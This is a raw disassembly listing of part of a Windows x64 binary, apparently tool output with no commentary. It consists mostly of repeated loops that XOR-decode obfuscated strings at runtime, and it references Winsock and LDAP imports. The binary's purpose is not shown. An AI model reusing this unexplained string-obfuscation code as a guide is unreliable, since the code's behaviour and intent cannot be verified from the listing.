mov dword [rbp + 0x8b8], eax
cmp byte [0x14015c693], 0
je 0x140096070
mov r8d, r12d
cmp r14d, 2
jl 0x140096029
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x8a4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140095f20
cmp r8d, 0x1c
jge 0x140096070
movsxd rax, r8d
lea r9, [rbp + 0x8a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140096040
lea rcx, [rbp + 0x8a0]
call fcn.14004f3e0
lea rdi, [0x14018d268]
lea r14, [0x14018d1e8]
lea r12, [0x14018d208]
lea r15, [0x14018d288]
lea r13, [0x14018d228]
lea rsi, [0x14018d2a8]
cmp byte [0x14018e6f4], 0
jne 0x140096159
cmp rdi, r14
je 0x1400960de
mov rdx, r14
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d1e8]
mov r8, qword [0x14018d1f8]
mov rcx, rdi
call fcn.140082c60
mov rdx, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d208]
mov r8, qword [0x14018d218]
mov rcx, r15
call fcn.140082c60
mov rdx, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d228]
mov r8, qword [0x14018d238]
mov rcx, rsi
call fcn.140082c60
lea rdx, [0x14018d248]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d248]
mov r8, qword [0x14018d258]
lea rcx, [0x14018d2c8]
call fcn.140082c60
cmp byte [0x14018e6f4], 0
je 0x140096ef3
cmp byte [0x14018e6f7], 0
jne 0x140096ef3
lea rax, [rbp + 0xee0]
mov qword [rsp + 0x50], rax
movups xmm3, xmmword [0x14015c6f8]
movups xmmword [rbp + 0x6e0], xmm3
movsd xmm0, qword [0x14015c708]
movsd qword [rbp + 0x6f0], xmm0
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x6f8], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096296
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.00000000]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x6e0], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.00000000]
movq xmm0, qword [rbp + 0x6e8]
xorps xmm2, xmm0
movq qword [rbp + 0x6e8], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6e0]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400962b0
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0xee0]
call fcn.140063270
mov rsi, rax
movups xmm0, xmmword [0x14015c6a0]
movups xmmword [rbp + 0xd60], xmm0
movups xmm1, xmmword [0x14015c6b0]
movups xmmword [rbp + 0xd70], xmm1
movups xmm0, xmmword [0x14015c6c0]
movups xmmword [rbp + 0xd80], xmm0
movups xmm1, xmmword [0x14015c6d0]
movups xmmword [rbp + 0xd90], xmm1
movups xmm0, xmmword [str.__169_X]
movups xmmword [rbp + 0xda0], xmm0
movzx eax, word [0x14015c6f0]
mov word [rbp + 0xdb0], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096483
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xd60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140096390
cmp r8d, 0x29
jge 0x1400964d4
movsxd rax, r8d
lea r9, [rbp + 0xd60]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400964a0
lea rdx, [rbp + 0xd60]
lea rcx, [rbp + 0xf00]
call fcn.140063270
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xf20]
call fcn.14008cd40
mov rdx, rax
mov rcx, rdi
call fcn.1400660b0
lea rcx, [rbp + 0xf20]
call fcn.140064f60
lea rax, [rbp + 0xf40]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [0x14015c768]
movups xmmword [rbp + 0x6c0], xmm7
movsd xmm0, qword [0x14015c778]
movsd qword [rbp + 0x6d0], xmm0
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x6d8], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096649
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [str.00000000]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x6c0], xmm3
movdqa xmm2, xmmword [0x14015f1e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x6c8]
xorps xmm3, xmm0
movq qword [rbp + 0x6c8], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6c0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140096660
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0xf40]
call fcn.140063270
mov rsi, rax
movups xmm0, xmmword [0x14015c720]
movups xmmword [rbp + 0xd10], xmm0
movups xmm1, xmmword [0x14015c730]
movups xmmword [rbp + 0xd20], xmm1
movups xmm0, xmmword [0x14015c740]
movups xmmword [rbp + 0xd30], xmm0
movups xmm1, xmmword [0x14015c750]
movups xmmword [rbp + 0xd40], xmm1
movsd xmm0, qword [0x14015c760]
movsd qword [rbp + 0xd50], xmm0
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096823
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xd10]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140096730
cmp r8d, 0x24
jge 0x140096874
movsxd rax, r8d
lea r9, [rbp + 0xd10]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x24
jl 0x140096840
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0xf60]
call fcn.140063270
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xf80]
call fcn.14008cd40
mov rdx, rax
mov rcx, r15
call fcn.1400660b0
lea rcx, [rbp + 0xf80]
call fcn.140064f60
lea rax, [rbp + 0xfa0]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [str.cT_ZUYxBU__I_]
movups xmmword [rbp + 0x700], xmm7
movsd xmm0, qword [0x14015c7f8]
movsd qword [rbp + 0x710], xmm0
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0x718], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400969e9
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [str.00000000]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x700], xmm3
movdqa xmm2, xmmword [0x14015f1e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x708]
xorps xmm3, xmm0
movq qword [rbp + 0x708], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x700]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140096a00
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xfa0]
call fcn.140063270
mov rsi, rax
movups xmm0, xmmword [0x14015c790]
movups xmmword [rbp + 0xdc0], xmm0
movups xmm1, xmmword [0x14015c7a0]
movups xmmword [rbp + 0xdd0], xmm1
movups xmm0, xmmword [0x14015c7b0]
movups xmmword [rbp + 0xde0], xmm0
movups xmm1, xmmword [0x14015c7c0]
movups xmmword [rbp + 0xdf0], xmm1
movups xmm0, xmmword [0x14015c7d0]
movups xmmword [rbp + 0xe00], xmm0
movzx eax, word [0x14015c7e0]
mov word [rbp + 0xe10], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096bd3
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xdc0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140096ae0
cmp r8d, 0x29
jge 0x140096c24
movsxd rax, r8d
lea r9, [rbp + 0xdc0]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x140096bf0
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0xfc0]
call fcn.140063270
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xe80]
call fcn.14008cd40
mov rdx, rax
lea rcx, [0x14018d2a8]
call fcn.1400660b0
lea rcx, [rbp + 0xe80]
call fcn.140064f60
lea rax, [rbp + 0x1000]
mov qword [rsp + 0x50], rax
movsd xmm0, qword [str.edw4]
movsd qword [rbp + 0x80], xmm0
movzx eax, word [0x14015c870]
mov ecx, 0x55
mov word [rbp + 0x80], cx
xor word [rbp + 0x82], 0x31
xor word [rbp + 0x84], 0x32
xor word [rbp + 0x86], 0x33
xor ax, 0x34
mov word [rbp + 0x88], ax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1000]
call fcn.140063270
mov rsi, rax
movups xmm0, xmmword [str.ctvwa]
movups xmmword [rbp + 0xe20], xmm0
movups xmm1, xmmword [0x14015c820]
movups xmmword [rbp + 0xe30], xmm1
movups xmm0, xmmword [0x14015c830]
movups xmmword [rbp + 0xe40], xmm0
movups xmm1, xmmword [0x14015c840]
movups xmmword [rbp + 0xe50], xmm1
movups xmm0, xmmword [0x14015c850]
movups xmmword [rbp + 0xe60], xmm0
mov eax, dword [0x14015c860]
mov dword [rbp + 0xe70], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096e53
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm7, xmmword [str.00000000]
lea rcx, [rbp + 0xe20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140096d60
cmp r8d, 0x2a
jge 0x140096ea4
movsxd rax, r8d
lea r9, [rbp + 0xe20]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x140096e70
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0x1020]
call fcn.140063270
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.14008cd40
mov rdx, rax
lea rcx, [0x14018d2c8]
call fcn.1400660b0
lea rcx, [rbp + 0xfe0]
call fcn.140064f60
mov byte [0x14018e6f7], 1
lea rsi, [0x14018d2a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10a8], xmm0
movdqa xmm1, xmmword [0x14015f1d0]
movdqu xmmword [rbp + 0x10b8], xmm1
mov byte [rbp + 0x10a8], 0
movups xmmword [rbp + 0x1088], xmm0
movdqu xmmword [rbp + 0x1098], xmm1
mov byte [rbp + 0x1088], 0
movups xmmword [rbp + 0x1068], xmm0
movdqu xmmword [rbp + 0x1078], xmm1
mov byte [rbp + 0x1068], 0
movups xmmword [rbp + 0x1048], xmm0
movdqu xmmword [rbp + 0x1058], xmm1
mov byte [rbp + 0x1048], 0
mov dword [rbp + 0x448], 0x42480000
mov dword [rbp + 0x44c], 0x42dc0000
lea rcx, [rbp + 0x448]
call fcn.140025d40
mov rcx, qword [rbp + 0x78]
call fcn.140025b40
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14018d268]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r14, qword [0x14018d1e8]
mov r8, qword [0x14018d1f8]
cmp r8, qword [0x14018d278]
jne 0x1400971ac
mov rcx, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400971ac
mov qword [rbx + 0xd4], 0x3f800000
xor ecx, ecx
mov dword [rbx + 0xdc], ecx
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x14015c888]
movups xmmword [rbp + 0xb0], xmm0
movzx eax, word [0x14015c898]
mov word [rbp + 0xc0], ax
cmp byte [0x14015c899], cl
je 0x1400971a0
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140097159
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140097050
cmp r8d, 0x12
jge 0x1400971a0
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140097170
lea rdx, [rbp + 0xb0]
jmp 0x140097367
xor ecx, ecx
mov dword [rbx + 0xd4], ecx
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x14015c878]
movsd qword [rbp + 0xb0], xmm0
mov eax, dword [0x14015c880]
mov dword [rbp + 0xb8], eax
movzx eax, word [0x14015c884]
mov word [rbp + 0xbc], ax
cmp byte [0x14015c885], cl
je 0x140097360
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140097317
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
